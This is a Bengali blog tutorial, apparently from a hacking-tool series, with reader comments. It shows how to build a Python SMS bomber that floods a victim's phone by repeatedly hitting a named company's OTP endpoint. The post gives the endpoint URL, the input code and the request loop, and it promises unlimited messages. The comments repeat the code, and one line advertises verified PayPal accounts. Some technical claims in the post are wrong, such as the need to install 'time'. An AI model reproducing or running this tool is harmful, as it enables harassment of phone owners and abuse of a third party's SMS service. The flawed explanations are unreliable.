আসসালামুআলাইকুম বন্ধুরা আশা করি সবাই ভাল আছেন এবং সুস্থ আছেন। তো গত পোস্টে আমি দেখিয়েছিলাম কিভাবে টেলিগ্রাম API (Application programming interface) এর মাধ্যমে টেলিগ্রাম বোম্বার তৈরি করতে হয়। আর আজকে আমরা দেখবো কিভাবে নিজের একটি SMS bomber tool তৈরি করা যায়। এই সিরিজটিতে প্রথমে আমরা কিছু বেসিক টুল তৈরি করা শিখব ,তারপর আমরা আস্তে আস্তে অ্যাডভান্স টুল তৈরি করব। আপনারা চাইলে যে কোন একটা টুল এর আইডি আমাকে দিতে পারেন আমি সেই টুলটি কিভাবে তৈরি করতে হয় সেটার উপর একটা পোস্ট তৈরী করার চেষ্টা করব। এদিক-ওদিক এর কথা বাদ দিয়ে মূল কাজে আসি।
হ্যাকিং টুল ?এখন নিজেই তৈরি করুন হ্যাকিং টুল [Part -01 ]
হ্যাকিং টুল ?এখন নিজেই তৈরি করুন হ্যাকিং টুল [Part -02 ]
আগেই বলছি আজকে আমরা SMS bomber তৈরি করবো।
টুল টি তৈরি করার জন্য আমাদের যা যা প্রয়োজন হবে:
১. যে কোন একটি পাইথন কম্পাইলার কিংবা Termux
2.একটি ওয়েবসাইটের API. (Application programming interface)
3. আর সামান্য একটু মনোযোগ।
টুল টি তৈরি করার জন্য আজকে আমি যে ওয়েবসাইটের API ব্যবহার করব সেটা আমি bioscopelive থেকে নিয়েছি।
API: https://www.bioscopelive.com/bn/login/send-otp?phone=your number &operator=bd-otp
হ্যাঁ জানি অনেকেই এখন বলবে ভাই আপনি কিভাবে API বের করেন। এইজন্য যেকোনো ধরনের ওয়েবসাইট থেকে কিভাবে API বের করতে হয় সেটার উপর আমি খুব শীঘ্রই আরেকটি পোস্ট দিব।
এখন আমরা API পেয়ে গেলাম এখন আমাদের কোডিং এর পালা।
আমি আগের পোস্টে বলেছিলাম যে , পাইথনের যখন আমরা API নিয়ে কাজ করব তখন আমাদের কিছু মডিউল আমাদের টার্মিনালে ইন্সটল করতে হবে। আপনারা যদি আমার আগের পোস্টটি পড়ে থাকেন এবং যদি টুলটি তৈরি করে থাকেন তাহলে আপনাদের মডিউল গুলো ইন্সটল করতে হবে না। আর যারা ইন্সটল করেননি। তারা চাইলে এই Command দিয়ে ইন্সটল করতে পারেন।
$pip install urllib3
$pip install time
যেহেতু আমরা API ব্যবহার করব সে তো আমরা Urlib3 Module ব্যবহার করব । কোন একটি API কিংবা লিংকে open/request করার জন্য এই Module টি ব্যবহার করা হয়।
আর time মডিউলটির নাম শুনে বোঝা যাচ্ছে যে প্রগ্রামে টাইম ব্যবহার করার জন্য এ মডিউলটি ব্যবহার করা যায়।
প্রথমে আমরা Nano editor এ একটি ফাইল তৈরি করে নিব। যেহেতু ফাইলটি একটি পাইথন ফাইল হবে সেহেতু ফাইলের এক্সটেনশন হবে .py । যেমন: smsxr.py
টুল তৈরি করার জন্য প্রথমে আমরা কিছু মডিউল আমাদের ফাইলে import করে নেব।
OS মডিউলটির মাধ্যমে মূলত আমরা আমাদের টার্মিনালের বিভিন্ন ইন্টারফেস নিয়ন্ত্রণ করতে পারব। এই মডিউল আরো অনেক ক্ষেত্রে ব্যবহার করা যায় যা আমি পরবর্তী সিরিজে আস্তে আস্তে বলব।
import time
প্রোগ্রাম এ সময়ের ব্যবহার করার জন্য এই মডিউল ব্যবহার করা হয়।
from urllib import request
কোন একটা মডিউল এর বিশেষ কোন ফাংশন ব্যবহার করার জন্য from ব্যবহার করা হয়। যেহেতু আমরা urllib এর request ফাংশন ব্যবহার করব । সে তো আমরা লিখতে পারি
from urllib import request
টুলটি স্টার্ট করলে যাতে আমাদের ইন্টারফেস টি সম্পূর্ণ clear অবস্থায় থাকে সেজন্য আমরা os.system('clear') কামান্ডটি আমাদের ফাইলে সংযুক্ত করব।
এখন কিছু ভেরিয়েবল যুক্ত করতে হবে।
phone=input("Enter Phone number :")
sms=int(input("SMS quantity :" ))
url ="https://www.bioscopelive.com/bn/login/send-otp?phone=88"+phone+"&operator=bd-otp"
এখানে যেই phone ভেরিয়েবল টি রয়েছে তার মাধ্যমে আমরা ইউজারদের থেকে মোবাইল নাম্বার ইনপুট নিব । ইনপুট নেয়ার জন্য আমরা input("___") ব্যবহার করব।
SMS ভেরিয়েবল টির মাধ্যমে আমরা ইউজার কয়েটি মেসেজ সেন্ড করতে চায় তার ইনপুট নিব। ইনপুট নেয়ার জন্য আমরা input("___") ব্যবহার করব।
URL ভেরিয়েবল টির মাধ্যমে লিংকটি সাথে আমরা phone ভেরিয়েবল টি সংযুক্ত করে দিব। ভেরিয়েবল এভাবে সংযুক্ত করতে হয় +phone+
এখন আমরা for এর মাধ্যমে a এর জন্য একটি রেঞ্চ সেট করে দিব।
রেঞ্জ টি হবে sms ভেরিয়েবল এর সমান।
ইউজার যদি sms ভেরিয়েবলে 1 টাইপ করে তাহলে ফাংশনটি একবার রান হবে।
এখন আমরা API টিতে রিকুয়েস্ট সেন্ড করব। রিকুয়েস্ট send করার জন্য আমরা ব্যবহার করব request.urlopen()
request.urlopen(url)
এখন আমাদের রিকোয়েস্ট সেন্ড হয়েছে। আমরা চাচ্ছি যখন একটি রিকোয়েস্ট সেন্ড হবে তখন আমাদের টার্মিনালে 1sms send ... লেখাটি দেখা যাবে।
এটার জন্য আমরা a ভেরিয়েবলটির সাথে 1 যোগ করে print করব।
print(str(a+1)+ "sms send ")
এখানে str ব্যবহার করার কারণ হচ্ছে a একটি স্ট্রিং ভেরিয়েবল।
Bioscope API একটু সমস্যা আছে। একটি নাম্বারে 30 সেকেন্ড পর পর একটি কোড পাঠানো সম্ভব। আমরা যদি একটি মেসেজ সেন্ড হওয়ার পর 30 সেকেন্ডের একটি বিরতি না দেই তাহলে আমাদের প্রোগ্রামটি ক্রাশ করবে। 30 সেকেন্ডের ভিডিওটা দেয়ার জন্য আমরা time module ব্যবহার করব ।
এখন আমরা কোডটি সেভ করব এবং termux এ run করব . এখন আমাদের এখানে ফোন নাম্বারটি এবং কয়টি SMS সেন্ড করতে চাচ্ছি তা দিয়ে দিতে হবে। কাজ শেষ এখন আমাদের SMS আসা শুরু হয়ে যায় গিয়েছে।
এই টুলটি 1 মিনিটে মাত্র 2 টি sms সেন্ড করতে পারে। কিন্তু কোন প্রকার সমস্যা ছাড়া আনলিমিটেড SMS সেন্ড করতে পারবে।
এখনো কারো বুঝতে সমস্যা থাকলে সম্পূর্ণ source ফাইলটি দেখে আসতে পারো
আর হ্যাঁ পরবর্তী পোস্টে তোমরা কি সম্পর্কিত টুল চাও সেটা কমেন্ট করে জানাতে ভুলবেন।
আজ এ পর্যন্তই। আশা করি তোমাদের আমার পোস্টটি ভাল লেগেছে। কোন সমস্যা থাকলে আমাকে কমেন্টে জানাতে পারো। আর তোমরা চাইলে আমার টেলিগ্রাম Hacktology গ্রুপ এ জয়েন হতে পারো। এখানে আমরা হ্যাকিং রিলেটেড বিভিন্ন সমস্যা এবং সমাধান করব।
তোমরা চাইলে আমার ওয়েবসাইটে লেখালেখি করে আয় করতে পারবে :blinktutor.com
Verified USA PayPal ,Full document verified USA PayPal Account
pip install time
ay command dile error show korse.
Error: Could not find a version that satisfied requirement Urlib3 (from version: none)
Error: No matching distribution found for Urlib3
Ami abar uninstall kore update diye try koresi. Taw problem solve hosse na.
pip install urllib3
Termux এ time মডিউল টি ইন্সটল করতে হয় না। অন্য কম্পাইলার হলে ইনস্টল করতে হবে
এখনো যদি সমস্যা থাকে তাহলে আমাকে টেলিগ্রাম গ্রুপ এ নক দিয়েন
১. কিভাবে যেকোন ওয়েবসাইট API পাবো..?
২ টুলস টাতে আমি হেডারে লগো লাগাইছি,,, বাট এখানে সব সাদা হয়। কিভাবে হেডার স্টাইলিশ লেখা লগোতে কালার করবো..?
৩. এখানে যখন যখন মেছেজ সেন্ড করে তখন এখানে যেনো নাম্বার আর পাশা পাশি সুন্দর ভাবে সবুজ কালারে সেন্ড লেখা আসে।
.
এই তিনটি সিষ্টেম কিভাবে করবো,,, এই নিয়ে নেক্সট পোষ্টে আলোচনা করবেন ইনশাআল্লাহ ❣️ আল্লাহ আপনাকে আলোচনা করার তৌফিক দান করুক। আমিন ?
– আসসালামু আলাইকুম।
phone=input(“Enter Phone number :”)
sms=int(input(“SMS quantity :” ))
url =”https://www.bioscopelive.com/bn/login/send-otp?phone=88″+phone+”&operator=bd-otp”
play store a ase app link -> quickeditor